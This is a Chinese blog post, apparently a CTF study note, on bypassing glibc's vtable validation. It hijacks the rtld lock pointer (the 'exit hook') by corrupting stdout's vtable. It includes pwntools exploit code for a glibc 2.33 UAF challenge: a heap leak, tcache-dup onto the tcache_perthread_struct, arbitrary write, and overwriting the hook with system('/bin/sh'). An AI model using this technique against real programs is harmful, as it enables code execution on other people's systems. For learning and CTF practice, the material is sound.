当前位置: 首页 > news >正文

【我的 PWN 学习手札】IO_FILE 之 利用IO_validate_vtable劫持程序流

一、IO_validate_vtable

glibc2.24引入了对vtable域的检查,确保vtable指针在__stop___libc_IO_vtables - __start___libc_IO_vtables之间。

static inline const struct _IO_jump_t *
IO_validate_vtable(const struct _IO_jump_t *vtable)
{
   /* Fast path: The vtable pointer is within the __libc_IO_vtables
      section.  */
   uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
   uintptr_t ptr = (uintptr_t)vtable;
   uintptr_t offset = ptr - (uintptr_t)__start___libc_IO_vtables;
   if (__glibc_unlikely(offset >= section_length))
      /* The vtable pointer is not in the expected section.  Use the
         slow path, which will terminate the process if necessary.  */
      _IO_vtable_check();
   return vtable;
}

如果不满足将跳转到_IO_vtable_check()继续执行。

void attribute_hidden
_IO_vtable_check(void)
{
#ifdef SHARED
  /* Honor the compatibility flag.  */
  void (*flag)(void) = atomic_load_relaxed(&IO_accept_foreign_vtables);
#ifdef PTR_DEMANGLE
  PTR_DEMANGLE(flag);
#endif
  if (flag == &_IO_vtable_check)
    return;

  /* In case this libc copy is in a non-default namespace, we always
     need to accept foreign vtables because there is always a
     possibility that FILE * objects are passed across the linking
     boundary.  */
  {
    Dl_info di;
    struct link_map *l;
    if (!rtld_active() || (_dl_addr(_IO_vtable_check, &di, &l, NULL) != 0 && l->l_ns != LM_ID_BASE))
      return;
  }

#else /* !SHARED */
  /* We cannot perform vtable validation in the static dlopen case
     because FILE * handles might be passed back and forth across the
     boundary.  Therefore, we disable checking in this case.  */
  if (__dlopen != NULL)
    return;
#endif

  __libc_fatal("Fatal error: glibc detected an invalid stdio handle\n");
}

可以看到,当!rtld_active()时,也即当_rtld_global_ro.dl_init_all_dirs不为空时

static inline bool
rtld_active (void)
{
  /* The default-initialized variable does not have a non-zero
     dl_init_all_dirs member, so this allows us to recognize an
     initialized and active ld.so copy.  */
  return GLRO(dl_init_all_dirs) != NULL;
}

会执行_dl_addr(_IO_vtable_check, &di, &l, NULL)函数

int
_dl_addr (const void *address, Dl_info *info,
	  struct link_map **mapp, const ElfW(Sym) **symbolp)
{
  const ElfW(Addr) addr = DL_LOOKUP_ADDRESS (address);
  int result = 0;

  /* Protect against concurrent loads and unloads.  */
  __rtld_lock_lock_recursive (GL(dl_load_lock));

  struct link_map *l = _dl_find_dso_for_object (addr);

  if (l)
    {
      determine_info (addr, l, info, mapp, symbolp);
      result = 1;
    }

  __rtld_lock_unlock_recursive (GL(dl_load_lock));

  return result;
}
libc_hidden_def (_dl_addr)

其中__rtld_lock_lock_recursive (GL(dl_load_lock))实际上就是"exit hook"。
在这里插入图片描述

pwndbg> p _dl_addr
$1 = {int (const void *, Dl_info *, struct link_map **, const Elf64_Sym **)} 0x7ffff7f2fab0 <__GI__dl_addr>
pwndbg> x/20i _dl_addr
   0x7ffff7f2fab0 <__GI__dl_addr>:	endbr64 
   0x7ffff7f2fab4 <__GI__dl_addr+4>:	push   r15
   0x7ffff7f2fab6 <__GI__dl_addr+6>:	push   r14
   0x7ffff7f2fab8 <__GI__dl_addr+8>:	mov    r14,rdx
   0x7ffff7f2fabb <__GI__dl_addr+11>:	push   r13
   0x7ffff7f2fabd <__GI__dl_addr+13>:	mov    r13,rsi
   0x7ffff7f2fac0 <__GI__dl_addr+16>:	push   r12
   0x7ffff7f2fac2 <__GI__dl_addr+18>:	xor    r12d,r12d
   0x7ffff7f2fac5 <__GI__dl_addr+21>:	push   rbp
   0x7ffff7f2fac6 <__GI__dl_addr+22>:	push   rbx
   0x7ffff7f2fac7 <__GI__dl_addr+23>:	mov    rbx,rdi
   0x7ffff7f2faca <__GI__dl_addr+26>:	sub    rsp,0x28
   0x7ffff7f2face <__GI__dl_addr+30>:	mov    r15,QWORD PTR [rip+0x882e3]        # 0x7ffff7fb7db8
   0x7ffff7f2fad5 <__GI__dl_addr+37>:	mov    QWORD PTR [rsp+0x8],rcx
   0x7ffff7f2fada <__GI__dl_addr+42>:	lea    rdi,[r15+0x988]
   0x7ffff7f2fae1 <__GI__dl_addr+49>:	call   QWORD PTR [r15+0xf90]
   0x7ffff7f2fae8 <__GI__dl_addr+56>:	mov    rdi,rbx
   0x7ffff7f2faeb <__GI__dl_addr+59>:	call   0x7ffff7e23530 <_dl_find_dso_for_object@plt>
   0x7ffff7f2faf0 <__GI__dl_addr+64>:	test   rax,rax
   0x7ffff7f2faf3 <__GI__dl_addr+67>:	je     0x7ffff7f2fc62 <__GI__dl_addr+434>
pwndbg> telescope 0x7ffff7fb7db8
00:0000│  0x7ffff7fb7db8 —▸ 0x7ffff7ffd040 (_rtld_local) —▸ 0x7ffff7ffe230 —▸ 0x555555554000 ◂— 0x10102464c457f
01:0008│  0x7ffff7fb7dc0 —▸ 0x7ffff7fb9460 (program_invocation_short_name) —▸ 0x7fffffffdbb3 ◂— 0x54535953006e7770 /* 'pwn' */
02:0010│  0x7ffff7fb7dc8 —▸ 0x7ffff7fb8424 (argp_err_exit_status) ◂— 0x100000040 /* '@' */
03:0018│  0x7ffff7fb7dd0 ◂— 0xffffffffffffffa0
04:0020│  0x7ffff7fb7dd8 —▸ 0x7ffff7fc2fe8 (mallwatch) ◂— 0
05:0028│  0x7ffff7fb7de0 —▸ 0x7ffff7fc3088 (__rcmd_errstr) ◂— 0
06:0030│  0x7ffff7fb7de8 —▸ 0x7ffff7fc2860 (svc_fdset@GLIBC_2.2.5) ◂— 0
07:0038│  0x7ffff7fb7df0 —▸ 0x7ffff7ffce48 (__libc_enable_secure) ◂— 0
pwndbg> telescope 0x7ffff7ffd040
00:0000│  0x7ffff7ffd040 (_rtld_local) —▸ 0x7ffff7ffe230 —▸ 0x555555554000 ◂— 0x10102464c457f
01:0008│  0x7ffff7ffd048 (_rtld_local+8) ◂— 4
02:0010│  0x7ffff7ffd050 (_rtld_local+16) —▸ 0x7ffff7ffe4f0 —▸ 0x7ffff7fc45a0 —▸ 0x7ffff7ffe230 —▸ 0x555555554000 ◂— ...
03:0018│  0x7ffff7ffd058 (_rtld_local+24) ◂— 0
04:0020│  0x7ffff7ffd060 (_rtld_local+32) —▸ 0x7ffff7fc4000 —▸ 0x7ffff7dfd000 ◂— 0x3010102464c457f
05:0028│  0x7ffff7ffd068 (_rtld_local+40) ◂— 0
06:0030│  0x7ffff7ffd070 (_rtld_local+48) ◂— 0
07:0038│  0x7ffff7ffd078 (_rtld_local+56) ◂— 1
pwndbg> telescope 0x7ffff7ffd040+0xf90
00:0000│  0x7ffff7ffdfd0 (_rtld_local+3984) —▸ 0x7ffff7fcd0e0 (rtld_lock_default_lock_recursive) ◂— endbr64 
01:0008│  0x7ffff7ffdfd8 (_rtld_local+3992) —▸ 0x7ffff7fcd0f0 (rtld_lock_default_unlock_recursive) ◂— endbr64 
02:0010│  0x7ffff7ffdfe0 (_rtld_local+4000) ◂— 0
03:0018│  0x7ffff7ffdfe8 (_rtld_local+4008) —▸ 0x7ffff7fdfad0 (_dl_make_stack_executable) ◂— endbr64 
04:0020│  0x7ffff7ffdff0 (_rtld_local+4016) ◂— 6
05:0028│  0x7ffff7ffdff8 (_rtld_local+4024) ◂— 1
06:0030│  0x7ffff7ffe000 (_rtld_local+4032) —▸ 0x7ffff7fc4a90 ◂— 0x40 /* '@' */
07:0038│  0x7ffff7ffe008 (_rtld_local+4040) ◂— 1
pwndbg> telescope 0x7ffff7ffd040+0x988
00:0000│  0x7ffff7ffd9c8 (_rtld_local+2440) ◂— 0
01:0008│  0x7ffff7ffd9d0 (_rtld_local+2448) ◂— 0
02:0010│  0x7ffff7ffd9d8 (_rtld_local+2456) ◂— 1
03:0018│  0x7ffff7ffd9e0 (_rtld_local+2464) ◂— 0
... ↓     3 skipped
07:0038│  0x7ffff7ffda00 (_rtld_local+2496) ◂— 1

因此,我们可以通过设置"exit hook",通过写坏vtable来触发程序流的劫持。

二、利用示例

这种方法主要针对一道例题,大致是:

  1. 只能申请释放0x100大小的tcache,申请释放有次数限制
  2. glibc-2.33
  3. 存在UAF等漏洞

宏观利用思路为:

  1. 通过劫持pthread_struct获得任意地址写的能力
  2. exit hook
  3. vtable,触发exit hook

1、leak heap_base

首先利用UAF泄漏堆地址

虽然glibc-2.33tcache会进行异或保护key,但由于第一个tcache chunk被放入bin时,tcache->entries[tc_idx]=NULL,所以对应tcachebin第一个tcache chunkkey是未被加密的。

static __always_inline void
tcache_put(mchunkptr chunk, size_t tc_idx)
{
  tcache_entry *e = (tcache_entry *)chunk2mem(chunk);

  /* Mark this chunk as "in the tcache" so the test in _int_free will
     detect a double free.  */
  e->key = tcache;

  e->next = PROTECT_PTR(&e->next, tcache->entries[tc_idx]);
  tcache->entries[tc_idx] = e;
  ++(tcache->counts[tc_idx]);
}

利用tcache+UAF+show泄露堆地址

add(0,0x100)
add(1,0x100)
add(2,0x100)

delete(0)
show(0)
heap_base=u64(io.recv(5).ljust(8,b'\x00'))<<12;
success("heap base: "+hex(heap_base))

2、tcache-dup 劫持 tcache_pthread_struct

利用tcache+UAF+edit,通过tcache dup的手法来劫持tcache_pthread_tcache

由于mallco tcachebin chunk部分会判断对应tcache->counts[tc_idx]>0

  ...
  if (tc_idx < mp_.tcache_bins && tcache && tcache->counts[tc_idx] > 0)
  {
    victim = tcache_get(tc_idx);
    return TAG_NEW_USABLE(victim);
  }
  ...

所以我们要在之前的基础上再释放一个chunk,并实现tcache-dup

...
delete(1)
# tcache-dup
# target_addr ^ (&e->next >> 12)
edit(1,p64((heap_base+0x3b0) ^ ((heap_base+0x3b0)>>12))+p64(0))

然后劫持到tcache_pthread_struct,即可获得任意地址写的能力

# hijack tcache_pthread_struct
add(2,0x100)
# target_addr ^ (&e->next >> 12)
edit(2,p64((heap_base+0x20)^((heap_base+0x4c0)>>12)))
add(1,0x100)
add(0,0x100)

def arbitrary_write(addr,value):
    align_num = addr & 0xf
    edit(0,p8(0)*14+p8(7)+p8(0)+p64(0)*27+p64(addr - align_num))
    if value==0:
        return
    add(10,0x100)
    edit(10,align_num*b'\x00'+value)

3、leak libc_base

不过首先我们要泄露libc,这里填tcachecount=7,再次delete即可释放到unsortedbin,从而泄露出libc基址

arbitrary_write(0,0)
delete(1)
edit(1,b'\xff')
show(1)
libc.address=u64(io.recv(6).ljust(8,b'\x00'))-0x1bbcff
success("libc_base :"+hex(libc.address))

4、exit hook劫持

然后确定exit hook & arg的位置,还是可以通过gdb + _dl_addr来确定
在这里插入图片描述

exit_hook_ptr_addr=libc.address+0x1fafd0
exit_hook_arg_addr=libc.address+0x1fa9c8

arbitrary_write(exit_hook_ptr_addr,p64(libc.sym['system']))
arbitrary_write(exit_hook_arg_addr,b'/bin/sh\x00')

在这里插入图片描述

5、触发IO_validate_vtable调用exit hook

接下来改坏stdoutvtable来触发IO_validate_vtable调用exit hook

stdout_vtable=libc.address+0x1bc798
# arbitrary_write(stdout_vtable,p64(0xdeadbeef))
# gdb.attach(io)
align_num = stdout_vtable & 0xf
edit(0,p8(0)*14+p8(7)+p8(0)+p64(0)*27+p64(stdout_vtable - align_num))
add(10,0x100)
io.interactive()

在这里插入图片描述

成功getshell

相关文章:

  • 【构建工具】Gradle 8中Android BuildConfig的变化与开启方法
  • WSL2下,向github进行push时出现timeout的问题
  • Web漏洞——命令注入漏洞学习
  • 【弹性计算】Guest OS
  • 内存资源分配
  • 视频推拉流EasyDSS直播点播平台授权激活码无效,报错400的原因是什么?
  • java后端开发day21--面向对象进阶(二)--继承进阶
  • Week 2 - Algorithm efficiency + Searching/Sorting
  • 浅谈HTTP及HTTPS协议
  • 亚马逊详情接口:开发、应用与实战指南
  • osgEarth安装总结
  • 洛谷 B2006:地球人口承载力估计 ← float 类型
  • 基于开源鸿蒙(OpenHarmony)的【智能家居综合应用】系统
  • 蓝桥杯---快速排序(leetcode第159题)最小的k个元素(剑指offer原题)
  • react 新手入门指南,常用命令
  • 【Uniapp-Vue3】开发userStore用户所需的相关操作
  • 【Python爬虫(85)】联邦学习:爬虫数据协作的隐私保护新范式
  • 本地部署 deepseek-r1 1.5B方法-ubuntu20.04 python3.10 pycharm虚拟环境
  • QEMU源码全解析 —— 内存虚拟化(21)
  • Elasticsearch 的分布式架构原理:通俗易懂版
  • 经济日报:仅退款应平衡各方权益
  • 叙利亚多地遭以色列空袭
  • 海港负国安主场两连败,五强争冠卫冕冠军开始掉队
  • 年轻人能为“老有意思”做点什么
  • 小核酸药物企业瑞博生物递表港交所,去年亏损2.81亿元
  • 比黄油年糕热量还高,这个火爆全网的甜品劝你慎吃